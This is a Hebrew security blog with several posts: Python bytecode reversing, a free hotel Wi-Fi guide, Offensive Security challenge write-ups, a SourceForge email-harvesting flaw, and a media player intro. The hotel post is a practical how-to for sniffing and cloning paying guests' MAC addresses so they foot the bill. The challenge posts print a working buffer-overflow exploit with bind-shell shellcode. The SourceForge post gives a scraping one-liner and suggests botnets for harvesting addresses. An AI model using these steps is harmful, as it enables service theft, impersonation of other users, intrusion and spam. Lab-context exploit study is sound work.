BinaryVision

Tag: האקינג

Reversing Python Bytecode

by on ינו.06, 2011, under כללי

מבוא

מתחיל להיות נפוץ נושא השימוש בשפות סקריפט לכתיבת קבצי EXE.
במיוחד בחברות Outsourcing שכל המטרה שלהן לכתוב מהר וקל.
אחרי שהחברה מסיימת לכתוב, מביאה מוצר, צריך להבין מה לעזאזל הם עשו שם.
Reversing קלאסי לקובץ EXE שהוא בעצם Py2EXE, לא כלכך עובד.
אז מה עושים?

מודול Dis

מחיפושים באינטרנט דבר ראשון שנתקלתי בו,
זה שיש מודול מובנה בPython להצגת הBytecode בצורה יותר ברורה, ושמו Dis.
http://docs.python.org/library/dis.html
הוא יודע לקבל code object, ולפתוח אותו למשהו קצת יותר קריא.
זה לא נותן את המקור, אבל זה מפתיע כמה זה קרוב.
בואו ננסה:

def test():
 a = 5
 b = 6
 if a == 5:
  b = 7
 return b

עכשיו נפרק את זה בעזרת Dis

>>> import dis
>>> dis.dis(test.func_code)
 2           0 LOAD_CONST               1 (5)
           3 STORE_FAST               0 (a)

 3           6 LOAD_CONST               2 (6)
           9 STORE_FAST               1 (b)

 4          12 LOAD_FAST                0 (a)
          15 LOAD_CONST               1 (5)
          18 COMPARE_OP               2 (==)
          21 JUMP_IF_FALSE           10 (to 34)
          24 POP_TOP

 5          25 LOAD_CONST               3 (7)
          28 STORE_FAST               1 (b)
          31 JUMP_FORWARD             1 (to 35)
      >>   34 POP_TOP

 6     >>   35 LOAD_FAST                1 (b)
          38 RETURN_VALUE

זה מדהים עד כמה זה מדוייק, כולל שמות משתנים והכל.
המספר הראשון זה מספר השורה בקוד מקור…
המספר שמופיע לפני כל מילה זה מספר הByte
המילה, זה הפעולה (לדוגמה LOAD_CONST)
המספר אחריה זה פרמטר, ובסוגריים זה הפיכת הפרמטר למשהו משמעותי אם אפשר.

נעבור לפי הסדר, ונראה כמה קל זה לבנות חזרה את הקוד:
שורה 2, LOAD_CONST טוען קבוע למחסנית, הקבוע הוא באינדקס 1, אבל הערך שלו הוא 5.
ואז STORE_FAST שומר את הערך מהמחסנית לתוך המשתנה באינדקס 0, ששמו a.
מה כל פעולה עושה מתועד היטב בקישור למודול DIS, ומה שנשאר זה להבין שהפקודה היא:

a = 5

שורה 3, אותו דבר, נעבור לשורה 4.
טוענים את a למחסנית, טוענים 5, ועושים COMPARE_OP עם ==.
הפעולה משווה בין השניים האחרונים במחסנית במחזירה את התשובה למחסנית.
עד כה יש לנו a == 5.
JUMP_IF_FALSE בודק את הערך האחרון במחסנית, ואם הוא FALSE קובץ לByte 34.
POP_TOP שולף את הערך האחרון במחסנית.
אז אם נרצה לשחזר את זה, צריך להבין שבמקרה שהערך הוא שקר, הוא מדלג _מעל_ קטע הקוד הבא, ז"א אם נרצה לרשום את זה רצוף, אז במקרה של אמת, הוא נכנס לקטע קוד, אז התנאי נראה כך:

 if a == 5:
     #... continue here ...
 #... if false jump to here ...

ואפשר להמשיך כך הלאה עד שבונים מחדש את הפונקצייה…

py2exe

הייצור שקוראים לו py2exe אורז את סקריפט הPython, כל ספריות, וכל דבר שצריך כדי להריץ אותן, לתוך EXE אחד.
והוא עוזה את זה בצורה הבאה:
כל הDLLים, וכל הספריות שעושים להן Import, הוא מקמפל לBytecode, ושם בZIP, בתוך הEXE.
ניתן לחלץ אותו ממש בקלות ע"י 7Zip שמאתר אותו, ופשוט נותן להוציא מתוכו קבצים.
עכשיו צריך, רק למצוא את הסקריפט הראשי.
הוא נשמר כResource בEXE, אפשר בקלות לשלוף אותו עם Visual Studio.
פותחים EXE עם התוכנה, והוא מציג את כל הResources, אחד מהם זה הקוד המקומפל.

רק משהו קטן

קובץ .pyc משוייך לPython שאיתו בנו אותו, וזה לא סתם, כי הBytecode משתנה.
כל הקבצים שנמצאים בZIP ניתן לעשות להן import כל עוד הגרסה של הפייטון תואמת,
ואחרי זה אפשר להריץ dis.dis על המודול כולו. (אפשר גם על פונקציות בנפרד).
עם הResource העניין קצת יותר בעייתי, כי הוא לא בדיוק Library, אלא Marshalled, בעזרת מודול marshal.
בשימוש במודול אפשר לשלוף את הCode Object הראשי, וממנו למצוא כל Code Object אחר, ולהעביר אותו לDIS גם כן.

פרויקט

חשבתי לעשות Python Decompiler,
זה מתחיל להיות קשה כשמגיעים לתנאים מסובכים, ולולאות עם תנאים מסובכים בתוכן.
אני חושב שזה אפשרי לחזור לקוד מקור בצורה אוטומטית, מה דעתכם?
(יש כמה נסיונות לDecompiler באינארנט, לא ראיתי אחד נורמלי…)

6 Comments :, , , more...

גלישה חינם בבתי מלון

by on אוג.16, 2010, under כללי

אחרי 7 בתי מלון ב- 11 יום החלטתי לפרסם כמה טיפים למטיילים בעולם. המלצה חמה בבריטניה למלונות הרשת Ramada, גם מאוד נחמדים וגם אינטרנט חינם.

במקומות אחרים נתקלתי במערכות ניהול וגביה, הנפוצה מביניהם נקראת spectrum. לדעתי 6 פאונד לשעת גלישה זה מוגזם, לכן הנה מספר טיפים כיצד לחלוק את החשבון עם משתמשים אחרים.

הרעיון בגדול הוא, למצוא מישהו ששילם (בעיקר ע"י ניסוי וטעייה או ניחושים מושכלים) ולהשתמש בזיהוי כרטיס הרשת שלו. להחליף כתובת mac ב- Windows זה סיפור מהתחת, לא תמיד אפשרי, במיוחד בעדכונים האחרונים של הדויורים וגם הדרך משתנה מכרטיס לכרטיס. מה שכן, Windows שימושי בשלב ראשוני מאוד עם התוכנה Cain, שמאפשרת לסרוק את ה subnet ולמצוא משתמשים פעילים ברשת (ip, mac וייצרן בקובץ hosts.lst). ההבדל המהותי הוא שב- arp -a למשל, לא רואים שום דבר חוץ מה- default gateway, כש- cain מייצר מפה שימושית מאוד אותה אני ממליץ לקחת ל ubuntu לשלבים הבאים של התהליך.

למי שלא מצא מספיק אנשים, או שלא רוצה לעבור ל windows, השיטה השנייה, היותר איטית אבל בהחלט יותר מדויקת (ונסתרת) היא להסתכל מי מדבר עם ה AP באוויר, וכך למצוא כתובות של קליינטים. אני ממליץ על שילוב של aircrack-ng עם wireshark. קודם נפתח ממשק למוניטור (נניח שהתחנות שמעניינות אותנו על ערוץ מס' 6 והכרטיס הוא wlan0) הפקודה היא: airmon-ng start wlan0 6 (מפסיקים עם airmon-ng stop mon0).

להבדיל מ- Windows, ב Ubuntu קיבלתי תמיכה מלאה בשינוי מאק ו injection ב aircrack ישר מהקופסה כמו שאומרים. אחרי שפתחתי ממשק mon0, פתחתי wireshark (מ root) והתחלתי לתפוס תעבורה מ mon0. עשיתי סינון לא לרשום broadcasts וכו'. הלוג עצמו שימושי, אבל יותר פשוט ללכת ל statistics ולבחור wlan. שם, רואים את כל התחנות ואת הקליינטים שמדברים איתן, וכמות המידע שעוברת בניהם. מכאן גם אפשר לקבל רשימה של כתובות mac ויצרנים.

עכשיו שיש רשימת יצרנים (אני תמיד ממליץ להתחיל מ apple, בדר"כ אנשים עם יותר כסף משכל), אפשר להתחיל לנסות להתחבר. בשביל לשנות mac צריך לנתק לרגע את ה network (קליק ימני על האייקון באובונטו Disable Network), ואז מתוך root, נשנה את ה mac שלנו ככה: ifconfig wlan0 hw ether aa:aa:aa:aa:aa:aa אפשר גם בלי הנקודתיים. כמובן שבסוף נעשה שוב קליק ימני ונדליק את ה network. השינוי הוא שינוי זמני ולא נשמר אחרי Restart.

אחלה, התחברנו לרשת עם mac של מישהו אחר, עכשיו בוא נבדוק אם יש לנו אינטרנט נקי ע"ש השירות של מיקרוסופט או אקמאי, אם אין redirection האינטרנט מוכן, אם לא, מנסים mac אחר.

wget -O /dev/null http://www.msftncsi.com/ncsi.txt

wget -O /dev/null http://whatismyip.akamai.com

נגמרו הכתובות או הסבלנות? עוד קצת sniffing, אולי על ערוץ אחר יכול להוביל לתוצאה יותר חיובית.

אם המחשב המקורי עדיין מחובר יהיה קצת חורים שחורים בגלישה. בדר"כ רשתות כאלה משדרות יותר מ AP אחד (למשל spectrum, wifizone) ולמרות שזו אותה רשת, ברמת ה AP זה לא, לכן אפשר להתחבר פשוט לרשת השנייה (המשתמש המקורי מתחבר לאחת, אתם מתחברים לשניה) ואז כולם שמחים.

ברגע שמתרגלים: התהליך לוקח פחות מ- 5 דקות. זהו, תהנו מחופשה עם אינטרנט on the house.

עדכון: למרות שלא יצא לי לבדוק בתנאי אמת, הנה תחליף לסריקת ה- arp עם cain:

nmap -sP -PR 10.1.0.1-255

16 Comments :, , , , , more...

אתגר Hacking של Offensive Security – שלב שני

by on יול.06, 2010, under כללי

מה היה לנו

  • קיבלתי Root על 192.168.6.200
  • מצאתי עליו קובץ mosquito.exe

http://www.filesonic.com/file/2125504394/mosquito.exe
מי שרוצה לנסות קצת בעצמו מוזמן להוריד את הקובץ אליו, ולהפסיק לקרוא כאן.

mosquito

בוא ננחש מה עושה הקובץ לפי הImports שלו.

Mosquito Imports

משתמש בסוקטים, וקצת Threads פה ושם, חוץ מזה כל מיני דברים מציקים כמו IsDebuggerPresent.
אז אם נריץ אותו, והוא מאזין על פורט, נוכל בקלות לראות איזה.
הרצתי אותו, קפץ הFirewall ואומר שהוא מנסה להאזין על 4597, אישרתי לו.
טוב, ננסה להתחבר אליו עם Netcat ולראות אם הוא זורק לנו משהו למסך.

nc -nvv 127.0.0.1 4597

קופץ הFirewall, ואומר לי שהmosquito.exe מנסה ליצור חיבור ל127.0.0.1 לפורט 1080…. מאיפה זה בא??
החלטתי שלפני שאני קופץ פנימה לתוך הקוד, אני מרים Netcat מאזין מקומי, על פורט 1080, ורואה מה הולך שם.

nc -nvvLp 1080

מריץ את הייתוש מחדש, מתחבר אליו, רואה שהוא מתחבר לnetcat השני, וכלום לא קורה…
שולח קצת טקסט, לא קורה כלום…..
טוב, בדיקה אחרונה לפני שצוללים לקוד, האם הוא פותח חיבור תמיד ל127.0.0.1? או שזה חיבור חזרה למי שניסה להתחבר אליו?
נבדק בצורה פשוטה ע"י מכונה שהיא לא מקומית, כתובת P) אחרת שמנסה להתחבר לMosquito, ואיזה יופי, הFirewall אומר שהוא עדיין מנסה להוציא חיבור ל127.0.0.1 למרות שהחיבור הגיע מכתובת אחרת.

צוללים לקוד

פותח IDA חזרה, מאתר את המקום שבו יש קריאה לrecv.
מריץ Netcat מקומי מאזין על 1080.
פותח ollydbg, מציב breakpoint על הRecv.
פותח Netcat נוסף ומתחבר לmosquito שמריץ הollydbg.
קופץ הBreakpoint, אני שולח איזה שטות בNetcat, ומתחיל לעקוב אחרי זה בקוד בollydbg שורה שורה.
אני לא הולך לפרט את כל התהליך, אבל זה המסקנות שהגעתי אליהן אחרי כמה ריצות:

  • כל חבילה שמתקבלת עוברת איזה "הצפנה" פשוטה… XOR עם הערך 4.
  • נבדק האם האם הכתובת המקומית של השרת היא 192.168.6.141
  • המידע נשלח לסוקט השני ששמחובר מקומית לפורט 1080

אז מה עכשיו

  • חיפוש חולשות בקוד עצמו ובטיפול של הBuffer מהנקודה שהתקבל ועד שנשלח הלאה.

לא מצאתי חולשות רגילות של Buffer Overflow

  • אולי זה לא אתגר ניצול חולשה, אלא צופן\Reverse? אולי צריך לשלוח מחרוזת מיוחדת כך שאחרי ההצפנה זה יהיה איזה מפתח.

נזכרתי בטקסט שהיה רשום באתר של Mosquito, עם התמונה, היה כתוב "bRAin suck3r".
בגלל איך שזה היה כתוב, חשבתי שזאת המחרוזת שמי שזה לא יהיה בפורט 1080 צריך לקבל.
כתבתי סקריפט שמקסר עם 4 ושולח לכתובת שאני מבקש, הרצתי, ולא קיבלתי תשובה.

  • רגעעעעע, הדבר הזה בכלל מחזיר תשובות מאותו שירות שרץ על 1080?

בבדיקה מקומית (שליחה בNetcat המאזין על 1080) מתקבל אותו זבל "מוצפן" בNetcat המתחבר.

  • אז אם זה הצפנה דו כיוונית, אולי זה פרוקסי טיפש מול שירות רגיל כלשהו?

מה רץ בדרך כלל על 1080? HTTP…
שיניתי את הסקריפט כך שישלח בקשת GET מקוסרת ב4, ויציג לי תשובה אם יש.
קיבלתי הרבה הרבה זבל חזרה.
הוספתי גם קיסור ב4 על התשובה, וקבילתי דף HTML.

  • אז הדבר הזה הוא פרוקסי לשרת WEB

כדי שאני אוכל לגלוש אליו בחופשיות שיפרתי את הסקריפט שלי כך שיעביר מידע בשני הכיוונים, ויתמוך ביותר מחיבור אחד במקביל.
הרצתי אותו, ועכשיו אני יכול לגלוש בדפדפן ל127.0.0.1 לפורט שאני אבחר, ולראות מה מסתתר שם בשירות שרץ על 1080.
הסקריפט:

#!/usr/bin/python
#
import socket
import sys
import thread

def tunnel_data(sock1,sock2):
	try:
		data = sock1.recv(0xffff)
		while data:
			ndata = ""
			for i in data:
				ndata += chr(ord(i) ^ 4)
			sock2.sendall(ndata)
			data = sock1.recv(0xffff)
		sock2.close()
	except Exception,e:
		print e
		sock1.close()
		sock2.close()

def main(ip,lport):
	global MSG
	lsock = socket.socket()
	lsock.bind(("0.0.0.0",lport))
	lsock.listen(1)
	while True:
		cli = lsock.accept()[0]
		rsock = socket.socket()
		rsock.connect((ip,4597))
		thread.start_new_thread(tunnel_data,(cli,rsock))
		thread.start_new_thread(tunnel_data,(rsock,cli))

main(sys.argv[1],long(sys.argv[2]))

האתר

נפתח חלון של איזה תוכנת צ'אט, שקוראים לה Easy Chat Server.
בנוי בAJAX, ומעוצב בצורה שמאד מסכנת את הפיצה שאכלתי לא מזמן.

Easy Chat Server

התחלתי לשחק איתו, לחפש SQL Injections, לחפש בעיות הרשאות, לנחש סיסמה של המנהל של הערוץ.
שזה לא היה קשה, הסיסמה של המנהל admin הייתה admin, אבל זה לא נתן לי כלום.
טוב, אולי זה שרת מוכר באינטרנט, אולי יש לו חולשות.
איזה יופי שבדף תוצאות הראשון אני מוצא את הקישור הבא:
http://www.metasploit.com/modules/exploit/windows/http/efs_easychatserver_username

פריצה מעל פרוקסי מצפין

הפעלתי Metasploit הגדרתי את הפרצה שתנסה לפרוץ לי את הפרוקסי המקומי, ותשתמש בMeterpreter שמתחבר חזרה אלי ישירות.
הרצתי את הפרצה, ואחרי כמה ניסיונות כושלים, זה עבד!!
קיבלתי Shell על השרת 192.168.6.141.
בדיקה מהירה גילתה שאני משתמש חסר הרשאות, שאין לו גישה לDesktop של הAdministrator.
וGetSystem של Meterpreter לא עזר.
מערכת ההפעלה היא Windows 2003 SP2.

נסיונות לעלות הרשאות

ציינתי כבר שכל 30 דקות המכונות עוברות Revert?
האם אמרתי עד כמה מעצבן זה כשאתה מנסה למצוא איך לעלות הרשאות במכונה שיש לך גישה אליה?
הייתי צריך לפרוץ מחדש את המכונה כל פעם שאיבדתי גישה בגלל הRevert.
אבל מספיק לבכות, כאן זה הזמן לאמר שלעלות הרשאות במכונה לא הצלחתי באותן 10 שעות שהיה לי לאתגר הזה.
דברים שניסיתי:

  • מציאת חולשות Privilege Escalation ידועות למערכת ההפעלה, לא הלך, המכונה כנראה Fully Patched
  • מציאת Services שרצים כSystem לבדוק אם אפשר להחליף להם את הEXE ולעשות להפיל אחד מהם שיעלה מחדש, היה שם שרת VOIP שרץ כSystem ומאד קרץ לי, אבל שרף את רוב הזמן.
  • חיפוש קבצים זרוקים במערכת שיש לי גישה "בטעות" אליהם ויש שם סיסמה או משהו שיעזור

אתם מוזמנים להציע עוד דרכים…
אני לא אוכל להגיד אם זה היה עובד או לא, האתגר נסגר, אבל אני כן יכול לפרסם את הדרך שאחת הקבוצות האחרות מצאה, אחרי שתכתבו כמה רעיונות משלכם….

8 Comments :, , , , , more...

אתגר Hacking של Offensive Security – שלב ראשון

by on יונ.26, 2010, under כללי

קצת על האתגר

האתגר התחיל ב19 ליוני בשבת, ונמשך 48 שעות.
המארגנים של האתגר הקימו 5 מכונות וירטואליות (Virtual Machines) שיושבות על שרת אצלהם.
ולכל מי שנרשם נתנו שם משתמש וסיסמה בשביל גישת VPN.
ברגע שמתחברים מקבלים כתובת IP בC Class שעליו יושבים השרתים.
מטרת האתגר:

  • תוך 48 שעות, לפרוץ 5 מחשבים
  • להשיג מהלינוקסים שבהם את התוכן של proof.txt שיושב ב /root
  • ומהוינדווסים להשיג את התוכן של proof.txt שיושב בDesktop של המנהל (Administrator)
  • כל מחשב שווה 20 נקודות, הראשון שמגיע ל100 ניצח, הפרס היה כרטיסים לBlackhat.
  • כל מכונה עוברת Revert כל 30 דקות כדי שאם מישהו הרס אותה לאחר, או לעצמו תהיה לו עוד הזדמנות.

קישור לאתר של האתגר, עם עוד קצת הסברים:
http://www.information-security-training.com/events/let-the-games-begin-again
לי יצא לעבוד על זה בערך 10 שעות.

סריקה ראשונית

מרים בBacktrack 4 מחבר אותו לVPN ומקבל כתובת 172.16.6.90
מריץ NMap על ה255 מחשבים שאיתי ברשת, ומוצא 5 שרתים.

  • 200 – פתוח פורט 80
  • 141 – פתוח פורט 80 וכמה פורטים של SIP
  • 115 – פתוח שרת SQL
  • 140 – פורט 80 פתוח וכמה שהם filtered
  • 150 – ענה לי פעם על פורט כלשהו ונעלם

מעבר מהיר על המחשבים

  • 141 – מציג אתר עם תמונה של יתוש אנושי כזה, עם הטקסט bRAin suck3r מתחת
  • 140 – מציג חתול שנראה כאילו מסתיר את הביצים שלו ומופתע וכתוב OMG!!! Knock First!!!
  • 115 – שרת SQL שאין לי משתמש אליו
  • 200 – מציג תיקייה עם 2 קבצים Vuln.c ו Vuln בינארי.
  • 150 – לא התעסקתי איתו

הכי מעניין והכי ברור מכל המחשבים האלה היה לדעתי 200, שהיה עליו קוד C ובינארי של משהו.

Vuln

בשרת 200 היו 2 קבצים, הנה הם להורדה, מי שרוצה לראות:
http://www.filesonic.com/file/2125504824/vuln.rar
הקבצים היו בינארי של לינוקס, וקוד מקור שלו בC.
מעבר על המקור מגלה את השורות הבאות:

#define LISTENPORT 7500
...
//now fill in the fields we need
  my_addr.sin_family = AF_INET;
  my_addr.sin_port = htons(LISTENPORT);
  my_addr.sin_addr.s_addr = htonl(INADDR_ANY);

  //bind our socket to the port
  if (bind(sock,(struct sockaddr *)&my_addr, ...)){
    perror("bind");
    exit(1);
  }

  //start listening for incoming connections
  if (listen(sock,BACKLOG) == -1) {
    perror("listen");
    exit(1);
  }

הקוד מאזין על פורט 7500.
מפעיל NMap שוב וסורק את המחשבים, מקבל 7500 פתוח על אותו המחשב שלקחתי ממנו את הקבצים (200).
אז הבינארי הזה רץ על השרת הזה.
בואו נראה אם יש חולשה בבינארי (גם השם שלו מרמז).
שורות מעניינות:

char reply[1024];
...
    recv(conn, reply, 1024, 0);
    handle_reply(reply);
...
int handle_reply(char *str)
{
char response[256];
strcpy(response,str);
printf("Your message is \"%s\"\n",response);
return 0;
}

התוכנה מקבלת באפר בגודל 1024, מעבירה אותו לפונקצייה שמעתיקה אותו בצורה לא בטוחה לבאפר בגודל 256.
Buffer Overflow קלאסי, על המחסנית, זה אומר שאפשר להריץ קוד.
עוד קטע שקופץ לעיניים בקוד:

int jmp(void){
 __asm__("jmp %esp");
 return 0;
}

הם אפילו נתנו לי את המקפצה בתוך הקוד עצמו, אין צורך לחפש שנים משהו גנרי שקיים גם בלינוקס אחר וכל זה.

ניצול חולשה

שלב ראשון, אני מעביר לBacktrack שלי את הVuln, מריץ, מתקשר איתו בודק שהוא מגיב כמו שאמור להגיב.
אחרי זה מריץ אותו מחדש עם gdb, ומכין סרקריפט Python שמפציץ אותו ב1000 תווים של A.
מקבל כצפוי Segmentation Fault על ניסיון להריץ 0x41414141 שזה "AAAA".
מסתכל על המיקום הנוכחי במחסנית, מסתכל אחרורה ורואה שהבאפר מתחיל 268 תווים אחורה.
חוזר לסקריפט, מתקן את הבאפר ככה שישלח 268 אותיות A, ואחרי זה 0xDEADBEEF, ואחרי זה עוד איזה 30 אותיות B.
מריץ מחדש את הקובץ עם gdb, מריץ סקריפט, ומרוצה מאד מהתוצאה, הוא קורס על ניסיון הרצה של 0xDEADBEEF.
שלב הבא, איפה המקפצה שלנו, אנחנו צריכים jmp esp, כמה יפה מצידת שהם שמו את זה בקוד, זה אומר שרוב הסיכויים שהכתובת לא תזוז אם מריצים את הקובץ בלינוקס דומה.
מסתכל על הקוד בIDA, ורואה שהכתובת של JMP ESP, היא: 0x0804866A
מעדכן את הסקריפט, מוסיף במקום הB הראשון, את הקוד של int3 (מי שלא יודע זה 0xcc).
מריץ מחדש את התוכנה הפגיעה עם הדבאגר מחובר, תוקף אותו עם הסקריפט, ומקבל SIGTRAP, כשהו מנסה להריץ את INT3.
קיבלתי Code Execution.
נכנס לmetasploit.com מוריד את הBind Shell הראשון שאני רואה, משלב אותו במקום ה0xCC.

SHELLCODE = ("\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd"
"\x80\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89"
"\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd"
"\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49"
"\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x50\x53\x89\xe1\xb0\x0b\xcd\x80")

מוסיף כמה שורות לפייטון כדי לאפשר החלפת פורט מאזין שיפתח שלא יהיה 4444, (\x11\x5c)
עושה בדיקה מקומית על התוכנה שמריץ אצלי, הפירצה מצליחה, ופותחת פורט להאזנה, התחברות Netcat נותנת לי גישה.
אז הנה הExploit שכתבתי כדי לפרוץ את התוכנה הזאת:

#!/usr/bin/python
#
# exploit.py <ip> <port>
#
#

import socket
import sys
import time
import struct

JMP_ESP_ADDR = 0x0804866A

SHELLCODE = ("\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd"
"\x80\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89"
"\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd"
"\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49"
"\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x50\x53\x89\xe1\xb0\x0b\xcd\x80")

def main(ip,port):
	global SHELLCODE
	global JMP_ESP_ADDR
	so = socket.socket()
	so.connect((ip,7500))
	greet = so.recv(1024)
	SHELLCODE = SHELLCODE[:21]+struct.pack("!H",port)+SHELLCODE[23:]
	buff = "A" * 268 + struct.pack("L",JMP_ESP_ADDR) + SHELLCODE
	so.sendall(buff)
	time.sleep(5)
	so.close()
	
main(sys.argv[1],long(sys.argv[2]))

מריץ את האקספלויט על השרת 6.200, ואחרי זה מתחבר לפורט שנפתח עם Netcat.

מה יש בשרת

נראה כאילו התחברתי כRoot, אין צורך לעלות הרשאות! 🙂
נכנס לתיקיית הבית של root, מוצא שם את proof.txt, מציג את התוכן שלו, מעתיק את הHash.
רואה עוד קובץ מעניין, mosquito.exe, מוריד אותו בעזרת Netcat.
הולך לאתר של האתגר, מכניס את הHash, זוכה ב20 נקודות!

בפוסט הבא

מה זה mosquito.exe?
האם הוא נותן רמז לשרת עם הזבוב בתמונה?
ולמה כלכך מעט אנשים הצליחו 2 מחשבים כלכך מאוחר לתוך האתגר??

14 Comments :, , , , , more...

אבטחה נמצאת בפרטים הקטנים

by on ינו.31, 2010, under כללי

הפוסט של היום לא עוסק בהקשחת שרת או בתכנות נכון והגנתי, אלא בדבר חשוב יותר משניהם, תכנון.
נתקלתי לאחרונה ב"פרצה" די מבדרת. הפרצה אומנם לא מאפשרת לי להשתלט על שרת, או אפילו לפגוע במשתמשים, אבל היא בהחלט מאפשרת גישה לדבר ששווה כסף, או לפחות יכול להיות מעצבן: כתובות אימייל של קבוצה ממוקדת נושא, במקרה הזה, אנשי טכנולוגיה.
למי שלא מכיר, האתר sourceforge הוא האתר הכי גדול (או לפחות אחד מההכי גדולים) לפרוייקטים קוד פתוח. באתר יש כ 2 מיליון משתמשים רשומים וכ 230,000 פרוייקטים. בנוסף, ישנם Mailing lists לכל הפרוייקטים, ובזה נתמקד.

נסתכל לדוגמה ברשימת התפוצה של Firebird. נניח ונרצה את כל הכתובות של החברים ברשימת התפוצה של Firebird, נפנה לארכיון המיילים של Firebird, אך נתקל בבעיה, sourceforge חכמים מספיק בשביל לא לפרסם את המיילים של כולם באינטרנט כצאן לטבח. למזלם של הספאמרים, sourceforge לא תיכננו עד הסוף, ולמען האמת הם מספקים דרך מאוד פשוטה (ברוב המקרים) לגלות מה הכתובת המלאה של השולח. יש לציין ששיטה זו לא עובדת תמיד, אלא "רק" ברוב הכמעט מוחלט של המקרים.

נתבונן רגע לעומק במעמקי ה"קוד" של העמוד, נתבונן לדוגמה בלינק שנתתי קודם מארכיון המיילים של Firebird: נבחר את המייל השלישי, זה נשלח ע"י "Adriano dos Santos Fernandes <adrianosf@gm…>". אנחנו רואים שהכתובת שלו מתחילה ב gm, (הערה: כולם משתמשים כיום ב gmail ככה שלא קשה לנחש שהכתובת האמיתית שלו היא gmail.com, למרות שהיא לא הייתה חייבת להיות, וזה יעבוד כמובן גם על כתובות של שרתי מייל שאנחנו לא מכירים) אבל אם נסתכל לעומק בלינק שמקשר לפוסט (בעמודה topic), נראה שם משהו מעניין, לדוגמה, במקרה שלנו, הלינק הוא:
http://sourceforge.net/mailarchive/forum.php?thread_name=4B65B1DC.5020407%40gmail.com&forum_name=firebird-devel
הפלא ופלא, השדה thread_name מסתיים ב gmail.com, מכך נסיק ששרת המייל ששלח את המייל הוא gmail.com ולכן הכתובת היא adrianosf ~-at-~ gmail.com.
נסתכל בשורה הבאה, מייל מאת Alexander Peshkoff <peshkoff@ma…>, אם נסתכל בלינק בעמודה topic, (לינק: http://sourceforge.net/mailarchive/forum.php?thread_name=201001311914.57707.peshkoff%40mail.ru&forum_name=firebird-devel) נראה שאותו שדה מסתיים הפעם ב @mail.ru, והרי זה לא מפתיע שזה מתאים לאימייל שלו שמתחיל ב: peshkoff@ma ולכן האימייל המלא שלו הוא peskoff ~-at-~ mail.ru.

החדים מביניכם בטח שמו לב שבמקרה השני, הלינק הכיל את כל הכתובת, ובמקרה הראשון לא. זה מתחבר לממה שאמרתי קודם, השדה הזה לא עקבי מספיק, (או לפחות לא מצאתי את החוקיות), ולכן זה לא עובד ב 100% מהמקרים, אבל ברוב המקרים שבדקתי, השדה הזה אכן מסתיים בשרת האיימייל ששלח את המייל, גם אם זה לא בהכרח השרת שיקבל את המיילים, זה בהחלט יכול לעזור. לדוגמה, לפעמים ב gmail הסיומת של השדה הזה תיהיה mail.google.com, אמנם אי אפשר לשלוח מייל ל adrianosf@mail.google.com (מהדוגמה הקודמת), אבל אפשר בהחלט לתרגם את זה בצורה קלה (הרי אם זה נפוץ מספיק אז אפשר לתרגם ידנית ובקלות להחליף את כל השדות).
זה גם מאוד פשוט לגנוב את המיילים האלה, לדוגמה, השורה הפשוטה הבאה שמתמשת ב wget וב sed (אמנם לא הכי נקי שאפשר, אבל החלט עושה את העבודה):

wget -q -O - http://sourceforge.net/mailarchive/forum.php?forum_name=firebird-devel | sed -n -e 's/^.*<td width="50%"><a href="[^&]*%40\([^&]*\)[^"]*".*$/@\1/p' -e s'/^.*&lt;\([^&]*\)...&gt;.*/\1/p'

לוקחת עמוד ומחלצת ממנו את כל השרתים בשורה אחת (מתחילים ב @), ואת המייל (עד הקטע המצונזר) בשורה אחריה. להוסיף את התוצאות לdb פשוט (לדוגמה sqlite), ולכתוב סקריפט פרל קצר שיעבור בכל העמודים של כל ה ML ב sourceforge ויריץ עליהם את הסינון sed הזה, גם לא לוקח הרבה זמן. בקיצור, אנחנו יכולים, בקלות יחסית (עדיין צריך לזכור לא להציף את sourceforge ולהשתמש בפרוקסי\בוטנט) לקחת את כתובות האימייל של 2 מיליון אנשים טכנלוגיים (אולי יותר אולי פחות) ולהשתמש בהם בפרסום ממוקד באינטרנט.

כמובן שמתכנתים פחות טיפשים מהאדם הממוצע, ולכן מספר ה"קניות" פר מיילים תהיה נמוכה בהרבה מאשר ספאם ממוצע, אבל עדיין, מדובר פה בפרסום לקבוצה מאוד ממוקדת ועל 2 מליון כתובות.
בנוסף, הפוסט הזה לא עוסק בהשגת כתובות אימיילם בשביל ספאם, אלא בעובדה שהם כביכול ניסו להגן משליחת ספאם למשתמשים שלהם, אבל בעצם חשפו את האימייל שלהם בצורה עקיפה. כל זה יכל להפתר אם הם היו מתכננים מראש, וחושבים פעמיים לפני שהם שמים את שם השרת ששלח את המייל גלוי לכל. אמנם במקרה הזה, הנזק לא גדול, אבל זה מדהים איך אתר כזה גדול מרשה למידע לזלוג בכזו קלות, או בקיצור, לדעתי זו "פרצה" נחמדה.

1 Comment :, , , more...

WDTV HD Media Player

by on ספט.18, 2009, under כללי

מבוא

WDTV ליד כונן 2.5 אינצ'

WDTV ליד כונן 2.5 אינצ'

לאחרונה אולי שמתם לב, אולי לא, אני נמשך יותר לחומרה והאקינג שלה.
בין אם זה OpenMoko, או הנתב של Edimax, או במקרה הזה נגן המדיה של Western Digital.
כן כן, של Western Digital, יצרנית כוננים קשיחים…

לאחרונה ניתקלתי בצורך לנגן וידאו HD, בצורה הכי זולה שיש, בלי להזיז כל פעם את המחשב הנייד אם אני רוצה לראות סרט במסך גדול.
בפוסט זה אני אציג כמה אפשרויות ששקלתי, ולמה ביטלתי כל אחת מהן, למה בחרתי בסוף בנגן של WD, כמה שהדבר הקטן הזה מגניב ,מה אפשר לעשות איתו (מעבר למה שWD תכננו כמובן).

אפשרויות חומרה

  • מחשב HTPC שאני מרכיב בעצמי

אפשר להרכיב מחשב במארז קטן שנראה כמו מארז של מכשיר Media Center כזה, ולהרכיב אותו ככה שיוכל לנגן HD.
